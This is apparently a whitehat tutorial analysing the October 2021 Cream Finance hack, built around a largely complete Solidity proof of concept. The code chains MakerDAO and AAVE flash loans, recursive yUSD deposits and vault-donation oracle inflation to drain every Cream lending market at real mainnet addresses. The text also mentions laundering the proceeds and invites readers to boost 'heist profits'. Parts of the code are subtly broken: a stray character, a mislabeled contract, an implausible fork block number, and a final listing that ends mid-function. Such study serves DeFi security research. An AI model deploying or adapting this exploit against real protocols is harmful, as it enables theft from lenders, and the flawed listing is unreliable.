Hack Analysis: Cream Finance Oct 2021

Introduction

Cream Finance experienced a major exploit on October 27, 2021, resulting in a loss of $130m in available liquidity.

In this article, we will be walking through and explaining the fundamental flaw that the protocol experienced before recreating our own proof of concept (PoC) that drains the protocol of millions in collateral using the same attack vector. You can find a working PoC for this attack here.

Along the way, we’ll be making use of crucial DeFi primitives across the space. This will include flash minting DAI from MakerDAO, flashloans from AAVE V2, and swapping heist funds for other tokens via UniswapV2.

This article was written by Hephyrius.eth, an Immunefi Whitehat Scholar.

Background

Let’s begin by delving into some background context about Cream Finance. Cream is a cross-chain lending protocol that has deployments on Ethereum, BNB, Avalanche, Fantom, Arbitrum, and Polygon. At the time of the attack, the protocol’s main deployment on Ethereum had over $130m in available liquidity.

As with all Compound forks, Cream allows users to borrow tokens against tokens they have deposited. Borrowing is done in an over-collateralized manner. For instance, a user may deposit $1m worth of ETH in order to borrow $750k of USDT. Lending protocols allow users to deposit a handful of tokens that the protocol has whitelisted beforehand. Each of these lending markets has its own parameters which dictate how much of a token can be supplied, how much can be borrowed against supplied tokens, the oracle that will dictate the underlying price, and whether there is a global deposit cap on supplying tokens.

A crucial element that helps lending protocols operate is the concept of account health. When an account supplies collateral to the protocol, the account increases in health. When borrowing occurs, health decreases. A fundamental element of this health system is the token price oracle. These oracles inform the protocol of the intrinsic value of the collateral and borrowed tokens, denoted in a single common value such as dollars or ETH. Account health is a number, where anything above 1 is a healthy account, and anything below is an account that can be liquidated.

There are a number of oracles that Compound forks may opt to use. A few of the common ones are:

  • Off-chain aggregators such as Band, Chain Link, and Tellor
  • Time Weighted Average Price (TWAP) based on AMM swaps
  • Constant price oracles — for instance, USDT always being $1

Alongside these common oracles, we can find hybrid oracles that mix one or more of the other oracle types. Some hybrid oracles may use token balances or exchange rates of vault contracts when calculating market value of a token.

Another crucial element in a lending protocol is liquidations and liquidation incentives. In order for a protocol to remain solvent, bad debts need to be settled before they are no longer over-collateralized, as in this situation, the protocol needs to absorb the debt. Usually, protocols solve this by offering collateral at a discount to liquidators who repay bad debt for an unhealthy account. Essentially, liquidators receive a discount on tokens as a reward for repaying bad debts and keeping the protocol solvent.

Root Cause

Now that we understand the basics of the protocol, we can explore the heist in depth. Let’s begin by looking at the attack transaction and looking at the steps that the attacker did during the heist:

  1. Flash mint $500m DAI from MakerDAO
  2. Deposit DAI into Yearn 4-Curve pool
  3. Deposit Yearn 4-Curve into Yearn yUSD vault
  4. Deposit yUSD into Cream yUSD market
  5. Borrow Over 500,000 Ether from AAVE v2
  6. Deposit Ether from another smart contract into Cream eth market — Account 2
  7. Borrow yUSD from Account 2 and deposit into Account 1 as collateral twice
  8. Borrow yUSD from Account 2 and send to Account 1
  9. Withdraw Yearn 4-Curve from yUSD vault
  10. Send $10m Yearn 4-Curve to yUSD vault
  11. Borrow all available liquidity using Account 1
  12. Swap stolen funds for DAI and WETH
  13. Withdraw DAI from Yearn 4-Curve
  14. Repay AAVE Eth flash loan
  15. Repay DAI flashmint
  16. Escape with profits

The majority of the damage can be narrowed down to two key reasons:

(I) An easily manipulatable hybrid oracle, which is manipulated at step 10
(II) Uncapped supplying of a token, which is manipulated in steps 7 and 8

The attacker’s action of supplying the same asset multiple times tricks the protocol into thinking that the address supplying the tokens is one that has a lot of collateral. As the attacker supplies the same $500m of tokens three times, they have a virtual balance of $1.5b in collateral, while having a further $2b in collateral and $1.5b in debts from supplying ETH and then borrowing yUSD against it from a secondary contract.

```solidity
    /**
     * @notice Get price for Yvault tokens
     * @param token The Yvault token
     * @return The price
     */
    function getYvTokenPrice(address token) internal view returns (uint256) {
        YvTokenInfo memory yvTokenInfo = yvTokens[token];
        require(yvTokenInfo.isYvToken, "not a Yvault token");
 
        uint256 pricePerShare;
        address underlying;
        if (yvTokenInfo.version == YvTokenVersion.V1) {
            pricePerShare = YVaultV1Interface(token).getPricePerFullShare();
            underlying = YVaultV1Interface(token).token();
        } else {
            pricePerShare = YVaultV2Interface(token).pricePerShare();
            underlying = YVaultV2Interface(token).token();
        }
 
        uint256 underlyingPrice;
        if (crvTokens[underlying].isCrvToken) {
            underlyingPrice = getCrvTokenPrice(underlying);
        } else {
            underlyingPrice = getTokenPrice(underlying);
        }
        return mul_(underlyingPrice, Exp({mantissa: pricePerShare}));
    }
    ```

The magic of the attack happens when the attacker sends $10m of Yearn 4-Curve to the yUSD contract, as this contract is used as part of a hybrid oracle that dictates what the health system of Cream should value yUSD at.

@view
@external
def pricePerShare() -> uint256:
    """
    @notice Gives the price for a single Vault share.
    @dev See dev note on `withdraw`.
    @return The value of a single share.
    """
    return self._shareValue(10 ** self.decimals)
 
 
 
@view
@internal
def _shareValue(shares: uint256) -> uint256:
    # Returns price = 1:1 if vault is empty
    if self.totalSupply == 0:
        return shares
 
    # Determines the current value of `shares`.
        # NOTE: if sqrt(Vault.totalAssets()) >>> 1e39, this could potentially revert
    lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegration
    freeFunds: uint256 = self._totalAssets()
    precisionFactor: uint256 = self.precisionFactor
    if(lockedFundsRatio < DEGREDATION_COEFFICIENT):
        freeFunds -= (
            self.lockedProfit
             - (
                 precisionFactor
                 * lockedFundsRatio
                 * self.lockedProfit
                 / DEGREDATION_COEFFICIENT
                 / precisionFactor
             )
         )
    # NOTE: using 1e3 for extra precision here, when decimals is low
    return (
        precisionFactor
       * shares
        * freeFunds
        / self.totalSupply
        / precisionFactor
    )
    

Let’s take a step back and decipher. Essentially, the yUSD contracts exchange rate is dictated by the ratio of 4-Curve tokens that the yUSD vault has access to, in relation to the total number of yUSD tokens in circulation. When the attacker sends Yearn 4-Curve tokens to the vault, they are doubling the value of 4-curve tokens that the yUSD token has access to, and therefore increasing the exchange rate that the vault reports. By proxy, the increase of the exchange rate of the vault also changes the value that the oracle reports the yUSD token as having.

The increased exchange rate has the following effects:

  • Account 1 now has $3 billion in collateral and $0 in borrowing
  • Account 2 now has $2 billion in collateral and $3 billion in debt and is now insolvent
  • The attacker has $2 billion in ETH to repay and $500m in DAI to repay
  • Therefore, the attacker has $500m in excess value that they can use to drain the protocol

The attacker now needs to borrow back the ETH they supplied in order to pay back their AAVE flash loan. This leaves $1 billion of over collateralized collateral on the table, which is sufficient enough for the attacker to borrow against in order to take the remaining $130m in liquid collateral that is still available within the protocol’s lending markets.

After exchanging the stolen collateral for enough DAI and ETH to repay flash borrowing, the attacker’s heist is complete. In this heist, the proceeds of the attack were split between two wallets, and some theories suggest that this may have been due to there being two blackhats involved in the exploit.

Recreation

We now have enough of a background and understand the flaw in the protocol well enough to create our own PoC contract that replicates this attack. We should begin by selecting an RPC provider that has archive access. For this demonstration, the free eth public rpc aggregator provided by Ankr should be sufficient. We will be using block number 6920000 as our fork block. This block was hours before the attack occurred.

pragma solidity >=0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
contract ContractB { }

Let’s begin by creating two contracts. One contract will be Account A, which is the smart contract responsible for the heist. The second will be Account B, which will be the source of the bad debt and price manipulation amplification. Code Snippets 3 & 4 show what basic contracts may look like. Ideally, we want to deploy Contract B when we deploy Contract A, by deploying an instance of B in the constructor of Contract A.

pragma solidity >=0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "hardhat/console.sol";
import "./ContractB.sol";
contract ContractA is Ownable {
    ContractB private immutable worker;
    IERC20 private constant dai  = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    IERC20 private constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
 
    constructor() public {
        worker = new ContractB();
    }
    receive() external payable {}
    fallback() external payable {}
}

Getting Collateral

interface IDaiFlashloan {
    function flashLoan(
        address receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool);
}
contract ContractA is Ownable {
    IDaiFlashloan private constant  daiFlashloanLender = IDaiFlashloan(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
    uint private immutable daiBorrowed = 500000000000000000000000000;
 
    function heist() public {
        daiFlashloan();
    }
 
    function daiFlashloan() internal {
        daiFlashloanLender.flashLoan(address(this), address(dai), daiBorrowed, new bytes(0));
    }
 
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        daiToRepay = amount + fee + 1;
        etherFlashLoan();
        dai.approve(msg.sender, daiToRepay);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

The next action we need to do is flash minting DAI. In order to do this, we need to interact with the MakerDAO DssFlash contract which allows us to momentarily borrow tokens, on the condition that we repay along with a fee before the end of the transaction. In order to flash loan, we need to have a function within our contract called onFlashLoan() which can be called by the DssFlash contract, when we call its flashLoan() function. Snippet 5 covers this flash loan.

interface IAaveFlashloan {
    function flashLoan(
        address receiverAddress,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata modes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}
 
contract ContractA is Ownable {
    IAaveFlashloan private constant aaveFlashLoanLender = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
    uint private ethBorrowed = 524102159298234706604104;
    function etherFlashLoan() internal {
        address[] memory assets = new address[](1);
        assets[0] = address(weth);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = ethBorrowed;
        uint256[] memory modes = new uint256[](1);
        aaveFlashLoanLender.flashLoan(address(this), assets, amounts, modes, address(this), new bytes(0), 0);
    }
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool){
        console.log("Weth borrowed: %s", weth.balanceOf(address(this)));
        ethToRepay = amounts[0] + premiums[0] + 1 ether;
        beginHeist();
        console.log(assets[0]);
        IERC20(assets[0]).approve(address(aaveFlashLoanLender), ethToRepay);
        return true;
    }
}

Following this, we need to flash loan $2 billion worth of Ether from AAVE V2. Again, this flash loan is a temporary loan that must be paid before the end of the transaction, or else the transaction will fail. In order to flash loan from AAVE V2, we need to call the flashloan() function on the lending pool contract. AAVE will then call the executeOperation() function hook of our own contract, which passes control of the transaction back to Contract A.

Collateralization

We have $2.5 billion in tokens that we can play with when control is passed back to Contract A. What we need to do now is to lay some foundations by using the assets we hold, in order to create additional value.

interface IYearnVault {
    function deposit(uint amount) external;
    function withdraw(uint amount) external;
    function pricePerShare() external view returns(uint256);
    function totalAssets() external view returns(uint);
}
 
interface ICurveDepositor {
    function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external;
    function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_uamount, bool donate_dust) external;
}
 
interface ICurvePool {
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
 
contract ContractA is Ownable {
 
    address private constant curveDepositor = 0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3;
    address private constant curveDepositToken = 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8;
    address private constant yusd = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
    uint private startYusd;
 
    function depositIntoYusd() internal {
        //dai to y4-curve
        startYusd = IYearnVault(yusd).totalAssets();
        uint amount = dai.balanceOf(address(this));
        dai.approve(curveDepositor, amount);
        uint[4] memory amounts = [amount, 0, 0, 0];
        ICurveDepositor(curveDepositor).add_liquidity(amounts, 1);
        console.log("curveDepositToken recieved: %s", IERC20(curveDepositToken).balanceOf(address(this)));
 
        //y4curve - yusd
        amount = IERC20(curveDepositToken).balanceOf(address(this));
        IERC20(curveDepositToken).approve(yusd, amount);
        IYearnVault(yusd).deposit(amount);
        console.log("yusd recieved: %s", IERC20(yusd).balanceOf(address(this)));
    }
}

Let’s begin by converting this $500m of DAI into yUSD. This is a two-step process. We first need to supply DAI as a liquidity provider to the Yearn 4-Curve pool on Curve. We then need to deposit the LP token we receive from Curve, into the Yearn yUSD pool in order to mint yUSD. Snippet 7 covers the practical steps involved in this process.

interface ICether {
    function borrow(uint borrowAmount) external returns (uint);
    function mint() external payable;
    function underlying() external view returns(address);
}
 
interface ICrToken {
    function borrow(uint256 borrowAmount) external;
    function mint(uint256 mintAmount) external;
    function underlying() external view returns(address);
}
 
interface IComptroller {
    function enterMarkets(address[] memory cTokens) external;
    function getAllMarkets() external view returns(address[] memory markets);
}
 
contract ContractA is Ownable {
    address private constant cryusd = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
 
    function depositCryusd() internal {
        uint amount = IERC20(yusd).balanceOf(address(this));
        IERC20(yusd).approve(cryusd, amount);
        ICrToken(cryusd).mint(amount);
        console.log("cryusd recieved: %s", IERC20(cryusd).balanceOf(address(this)));
    }
}

Next, we need to deposit our yUSD into Cream so that we can borrow against it when we pull off our heist, and so that we can borrow it from Contract B. We do this in Snippet 8. We should note that the interfaces we need for Cream are inherited from Contract B rather than in the scope of Contract A, as both contracts need access to these interfaces.

interface IWrappedNative {
    function withdraw(uint amount) external;
    function deposit() external payable;
}
 
contract ContractA is Ownable {
 
    function withdrawNative() internal {
        uint amount = weth.balanceOf(address(this));
        IWrappedNative(address(weth)).withdraw(amount);
    }
 
    function depositEthBorrowYusd() internal {
        console.log("yusd start: %s", IERC20(yusd).balanceOf(address(this)));
        uint amount = address(this).balance;
        worker.depositAndBorrow{value:amount}();
        console.log("yusd recieved: %s", IERC20(yusd).balanceOf(address(this)));
    }
}

Once we supply our yUSD to Cream, we need to shift the context to Contract B and borrow this yUSD back from Cream. In order to do this, we must first deposit some ETH from Contract B into Cream, which we can use to borrow all yUSD in the market. We can then send this yUSD back to Contract A. Snippet 9 shows the aspects that Contact A needs to do, which is unwrapping the Wrapped Ether that we have and then sending it to Contract B. Whereas Snippet 10 shows the supply and borrowing steps that Contract B executes. We are supplying ETH as collateral, and borrowing all yUSD available, before sending it back to Contract A.

contract ContractB{
    IERC20 private constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address private constant yusd = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
    address private constant cryusd = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
    address private constant creth = 0xD06527D5e56A3495252A528C4987003b712860eE;
    address private constant comptroller = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258;
 
    constructor() {
        //tell cream we want to borrow agains eth;
        address[] memory markets = new address[](1);
        markets[0] = creth;
        IComptroller(comptroller).enterMarkets(markets);
    }
 
    function depositAndBorrow() external payable {
        //deposit our collateral
        ICether(creth).mint{value: msg.value}();
        console.log("creth recieved: %s", IERC20(creth).balanceOf(address(this)));
 
        //borrow yusd
        uint amount = IERC20(yusd).balanceOf(address(cryusd)) - 1;
        ICrToken(cryusd).borrow(amount);
        IERC20(yusd).transfer(msg.sender, IERC20(yusd).balanceOf(address(this)));
    }
}

The next step is one of the key steps in the process. Contract A needs to inflate its supplied yUSD balance as much as it possibly can, against Contract B’s $2 billion collateral. The method for doing this is, borrowing yUSD from Cream via Contract B, and depositing into Cream from Contract A, twice. This leads to a situation where the original $500m of yUSD supplied by Contract A, is now $1.5b yUSD. This is demonstrated in Snippet 11.

contract ContractB{
    function beginHeist() internal {
        console.log("phase 1 : Acquire Capital");
        depositIntoYusd();
        depositCryusd();
        withdrawNative();
        depositEthBorrowYusd();
 
        console.log("Phase 2 : Recursion");
        depositCryusd();
        depositEthBorrowYusd();
        depositCryusd();
        depositEthBorrowYusd();W
    }
}

Contract A needs to borrow yUSD one further time so that the conversion from DAI to yUSD can be reversed, and to inflate the value of yUSD from the perspective of Cream. This is demonstrated in Snippet 12, where the Yearn 4-Curve tokens are withdrawn from the yUSD vault, which reduces the total supply of yUSD. Some of these withdrawn tokens are then sent back to the yUSD vault via a transfer.

contract ContractB{
    function withdrawYusdAndInflate() internal {
        console.log("pricepershare start : %s", IYearnVault(yusd).pricePerShare());
        uint amount = IERC20(yusd).balanceOf(address(this));
        IYearnVault(yusd).withdraw(amount);
        console.log("curveDepositToken recieved: %s", IERC20(curveDepositToken).balanceOf(address(this)));
        console.log("curveDepositToken vault: %s", IERC20(curveDepositToken).balanceOf(yusd));
        //Inflate vault
        IERC20(curveDepositToken).transfer(yusd, startYusd);
        console.log("curveDepositToken vault: %s", IERC20(curveDepositToken).balanceOf(yusd));
        console.log("pricepershare end : %s", IYearnVault(yusd).pricePerShare());
    }
}

When we transfer Yearn 4-Curve tokens into the yUSD vault, we are increasing the pricePerShare of the vault, which increases the value that the hybrid oracle reports to the Cream protocol. In the case of snippet 12, we are making yUSD worth $2 instead of the expected $1. This oracle manipulation has a huge impact on Cream.

We now have a borrower, Contract B, with over $3 billion in debt. And, a supplier, Contract A, with over $3 billion in collateral. What this enables is a situation where Contract A can now borrow the remaining collateral in Cream, as Cream believes that this account is extremely over-collateralized. The first thing Contract A needs to do is borrow back all of the ETH that Contract B provided to Cream, along with any available liquidity that was already in this market. We need to do this in order to repay the flash loan that we took from AAVE.

contract ContractA is Ownable {
    address private constant cryusd = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
    address private constant crdai = 0x92B767185fB3B04F881e3aC8e5B0662a027A1D9f;
    address private constant crusdt = 0x797AAB1ce7c01eB727ab980762bA88e7133d2157;
    address private constant crusdc = 0x44fbeBd2F576670a6C33f6Fc0B00aA8c5753b322;
    address private constant crcreth2 = 0xfd609a03B393F1A1cFcAcEdaBf068CAD09a924E2;
    address private constant crfei = 0x8C3B7a4320ba70f8239F83770c4015B5bc4e6F91;
    address private constant crftt = 0x10FDBD1e48eE2fD9336a482D746138AE19e649Db;
    address private constant crperp = 0x299e254A8a165bBeB76D9D69305013329Eea3a3B;
    address private constant crrune = 0x8379BAA817c5c5aB929b03ee8E3c48e45018Ae41;
    address private constant crdpi = 0x2A537Fa9FFaea8C1A41D3C2B68a9cb791529366D;
    address private constant cruni = 0xe89a6D0509faF730BD707bf868d9A2A744a363C7;
    address private constant crgno = 0x523EFFC8bFEfC2948211A05A905F761CBA5E8e9E;
    address private constant creth = 0xD06527D5e56A3495252A528C4987003b712860eE;
    address private constant crsteth = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;
 
 
    function borrowAllEth() internal {
        ICether(creth).borrow(creth.balance);
        console.log("eth recieved: %s", address(this).balance);
    }
 
    function borrowTokens(address market) internal {
        address underlying = ICrToken(market).underlying();
        uint borrowAmount = IERC20(underlying).balanceOf(market);
        console.log("asset : %s", underlying);
 
        try ICrToken(market).borrow(borrowAmount) {      
            console.log("borrowed: %s", IERC20(underlying).balanceOf(address(this)));
        }
        catch {
            console.log("skipped");
        }
    }
 
    function borrowAll() internal {
        borrowAllEth();
        borrowTokens(crdai);
        borrowTokens(crusdc);
        borrowTokens(crusdt);
        borrowTokens(crfei);
        borrowTokens(crcreth2);
        borrowTokens(crftt);
        borrowTokens(crperp);
        borrowTokens(crrune);
        borrowTokens(crdpi);
        borrowTokens(cruni);
        borrowTokens(crgno);
    }
}

We have $2 billion borrowed against our $3 billion in yUSD. We can now proceed to drain all of the protocol’s markets. Let’s begin by taking all of the stablecoins, and then take tokens from any other market we feel like pilfering. Snippet 12 shows the ETH and other borrowings.

Now, our $2.5 billion of flash borrows have grown to a value of $2.63 billion. In order to keep the difference between the two valuations, we need to convert our gains into DAI and ETH, and then repay the loans that we took from AAVE and MakerDAO. Luckily for us, the amount of ETH that we received from borrowing all ETH from Cream is more than enough to cover our AAVE flash loan. We can simply wrap the Ether back to WETH.

contract ContractA is Ownable {
    function depositToWeth() internal {
        IWrappedNative(address(weth)).deposit{value: address(this).balance}();
        console.log("weth balance: %s", IERC20(weth).balanceOf(address(this)));
    }
}

In order to repay our DAI loan, we need to jump through a few hurdles. First, we need to withdraw DAI tokens from our remaining Yearn 4-curve token holdings. This should be well over $490m. When we transferred over $10m in these LP tokens to the yUSD pool, we essentially donated these tokens to holders of yUSD. This leaves $10m in DAI that we need to make up for.

contract ContractA is Ownable {
    function withdrawToDai() internal {
        uint amount = IERC20(curveDepositToken).balanceOf(address(this));
        IERC20(curveDepositToken).approve(curveDepositor, amount);
        ICurveDepositor(curveDepositor).remove_liquidity_one_coin(amount, 0, 1, false);
        console.log("dai balance: %s", IERC20(dai).balanceOf(address(this)));
    }
}

We need to convert one of our heisted tokens into a stablecoin, and then convert this stablecoin into DAI. This is one of the lower slippage options that we have if we want to repay the loan without sacrificing too much profit. We can do this by first swapping portions of ETH to USDC and DAI via Uniswap V2. We can then swap any USDC we have to DAI, via Curves 3-pool.

interface ICurvePool {
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
 
contract ContractA is Ownable { 
    address private constant uniswapV2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant y3crv = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
 
    function swapToUsd() internal {
        uint extra = IERC20(weth).balanceOf(address(this)) - ethToRepay;
 
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = ICrToken(crusdc).underlying();
 
        uint amount = extra / 10;
        weth.approve(uniswapV2, extra);
        IUniswapV2Router02(uniswapV2).swapExactTokensForTokens(amount * 8, 1, path, address(this), block.timestamp);
 
        path[1] = address(dai);
        IUniswapV2Router02(uniswapV2).swapExactTokensForTokens(amount, 2, path, address(this), block.timestamp);
        console.log("weth balance: %s", IERC20(weth).balanceOf(address(this)));
    }
 
    function swapUsdToDai() internal {
        address token = ICrToken(crusdc).underlying();
        uint amount = IERC20(token).balanceOf(address(this));
        IERC20(token).approve(y3crv, amount);
        ICurvePool(y3crv).exchange(1, 0, amount, 1);
        console.log("dai balance: %s", IERC20(dai).balanceOf(address(this)));
    }
}

At this point, we should have enough ETH to pay back to AAVE and enough DAI to repay the flash mint. Any other tokens that we may hold in Contract B are pure heist profits. We are able to successfully exit our flash loans, which means that there is now no risk of transactions reverting, which means our heist was successful.

An attacker may then use a withdrawal method that they can call to send tokens from their attack contract to an EOA of their choice, where they can launder away the funds they obtained.

Tying everything together in Snippet 15 and 16, we have a viable attack that allows us to drain all of Cream Finance’s available liquidity using two fairly simple smart contracts. In total, Contract A is 330 lines of code, while Contract B is 50 lines of code.

Conclusion

The Cream Finance exploit shows us just how valuable oracles can be within DeFi. And by extension, how brutal the effects of manipulation can be. As a smart contract security researcher, it’s important to be able to understand how values are derived, such as those an oracle calculates.

The PoC demonstrated in this article is a simpler attack when compared to the attack that occurred. In the original attack, the attackers swapped yUSD for DeFi Dollars DUSD. This allowed them to reduce the total supply of yUSD, which allowed them to reduce the number of tokens they needed to donate in their transfer to the Yearn USD vault.

We propose that as an extension of your own PoC and to consolidate your learning, you increase your PoC profits by reducing the supply of yUSD, by withdrawing from the DUSD protocol.

Entire Contract A

pragma solidity >=0.8.0;
 
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "hardhat/console.sol";
import "./ContractB.sol";
 
//tx: https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c65963ccb79089ff96bfaf8dced2331c92
 
interface IDaiFlashloan {
    function flashLoan(
        address receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool);
}
 
interface IAaveFlashloan {
    function flashLoan(
        address receiverAddress,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata modes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}
 
interface IYearnVault {
    function deposit(uint amount) external;
    function withdraw(uint amount) external;
    function pricePerShare() external view returns(uint256);
    function totalAssets() external view returns(uint);
}
 
interface ICurveDepositor {
    function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external;
    function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_uamount, bool donate_dust) external;
}
 
interface ICurvePool {
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
 
interface IWrappedNative {
    function withdraw(uint amount) external;
    function deposit() external payable;
}
 
contract ContractA is Ownable {
 
    IDaiFlashloan private constant  daiFlashloanLender = IDaiFlashloan(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
    IAaveFlashloan private constant aaveFlashLoanLender = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
 
    IERC20 private constant dai  = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    IERC20 private constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
 
    address private constant ydai = 0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01;
    address private constant curveDepositor = 0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3;
    address private constant curveDepositToken = 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8;
    address private constant yusd = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
    address private constant cryusd = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
    address private constant crdai = 0x92B767185fB3B04F881e3aC8e5B0662a027A1D9f;
    address private constant crusdt = 0x797AAB1ce7c01eB727ab980762bA88e7133d2157;
    address private constant crusdc = 0x44fbeBd2F576670a6C33f6Fc0B00aA8c5753b322;
    address private constant crcreth2 = 0xfd609a03B393F1A1cFcAcEdaBf068CAD09a924E2;
    address private constant crfei = 0x8C3B7a4320ba70f8239F83770c4015B5bc4e6F91;
    address private constant crftt = 0x10FDBD1e48eE2fD9336a482D746138AE19e649Db;
    address private constant crperp = 0x299e254A8a165bBeB76D9D69305013329Eea3a3B;
    address private constant crrune = 0x8379BAA817c5c5aB929b03ee8E3c48e45018Ae41;
    address private constant crdpi = 0x2A537Fa9FFaea8C1A41D3C2B68a9cb791529366D;
    address private constant cruni = 0xe89a6D0509faF730BD707bf868d9A2A744a363C7;
    address private constant crgno = 0x523EFFC8bFEfC2948211A05A905F761CBA5E8e9E;
    address private constant creth = 0xD06527D5e56A3495252A528C4987003b712860eE;
    address private constant crsteth = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;
    address private constant comptroller = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258;
 
    address private constant uniswapV2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant y3crv = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
 
    ContractB private immutable contractb;
    uint private immutable daiBorrowed;
    uint private immutable ethBorrowed;
    uint private startYusd;
    uint private ethToRepay;
    uint private daiToRepay;
 
    constructor() public {
        contractb = new ContractB();
 
        //tell cream we want to borrow against yusd;
        address[] memory markets = new address[](1);
        markets[0] = cryusd;
        IComptroller(comptroller).enterMarkets(markets);
 
        daiBorrowed = 500000000000000000000000000;
        ethBorrowed = 524102159298234706604104;
    }
   
 
    receive() external payable {}
    fallback() external payable {}
 
    function heist() public {
        daiFlashloan();
        console.log("repaid dai loan");
    }
 
    function daiFlashloan() internal {
        daiFlashloanLender.flashLoan(address(this), address(dai), daiBorrowed, new bytes(0));
    }
 
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        console.log("dai borrowed: %s", dai.balanceOf(address(this)));
        daiToRepay = amount + fee + 1;
        etherFlashLoan();
        console.log("repaid eth loan");
        dai.approve(msg.sender, daiToRepay);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
 
    function etherFlashLoan() internal {
        address[] memory assets = new address[](1);
        assets[0] = address(weth);
 
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = ethBorrowed;
 
        uint256[] memory modes = new uint256[](1);
 
        aaveFlashLoanLender.flashLoan(address(this), assets, amounts, modes, address(this), new bytes(0), 0);
    }
 
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool){
        console.log("Weth borrowed: %s", weth.balanceOf(address(this)));
        ethToRepay = amounts[0] + premiums[0] + 1 ether;
        beginHeist();
        console.log(assets[0]);
        IERC20(assets[0]).approve(address(aaveFlashLoanLender), ethToRepay);
        return true;
        //weth.approve(msg.sender, ethToRepay);
    }
 
    function beginHeist() internal {
        console.log("phase 1 : Acquire Capital");
        depositIntoYusd();
        depositCryusd();
        withdrawNative();
        depositEthBorrowYusd();
 
        console.log("Phase 2 : Recursion");
        depositCryusd();
        depositEthBorrowYusd();
        depositCryusd();
        depositEthBorrowYusd();
 
        console.log("Phase 3 : Inflation");
        withdrawYusdAndInflate();
 
        console.log("Phase 4 : Smash and Grab");
        borrowAll();
 
        console.log("Phase 5 : Repayment");
        console.log("EthToRepay: %s", ethToRepay);
        console.log("DaiToRepay: %s", daiToRepay);
        withdrawToDai();
        depositToWeth();
        swapToUsd();
        swapUsdToDai();
 
    }
 
    function depositIntoYusd() internal {
        //dai to y4-curve
        startYusd = IYearnVault(yusd).totalAssets();
        uint amount = dai.balanceOf(address(this));
        dai.approve(curveDepositor, amount);
        uint[4] memory amounts = [amount, 0, 0, 0];
        ICurveDepositor(curveDepositor).add_liquidity(amounts, 1);
        console.log("curveDepositToken recieved: %s", IERC20(curveDepositToken).balanceOf(address(this)));
 
        //y4curve - yusd
        amount = IERC20(curveDepositToken).balanceOf(address(this));
        IERC20(curveDepositToken).approve(yusd, amount);
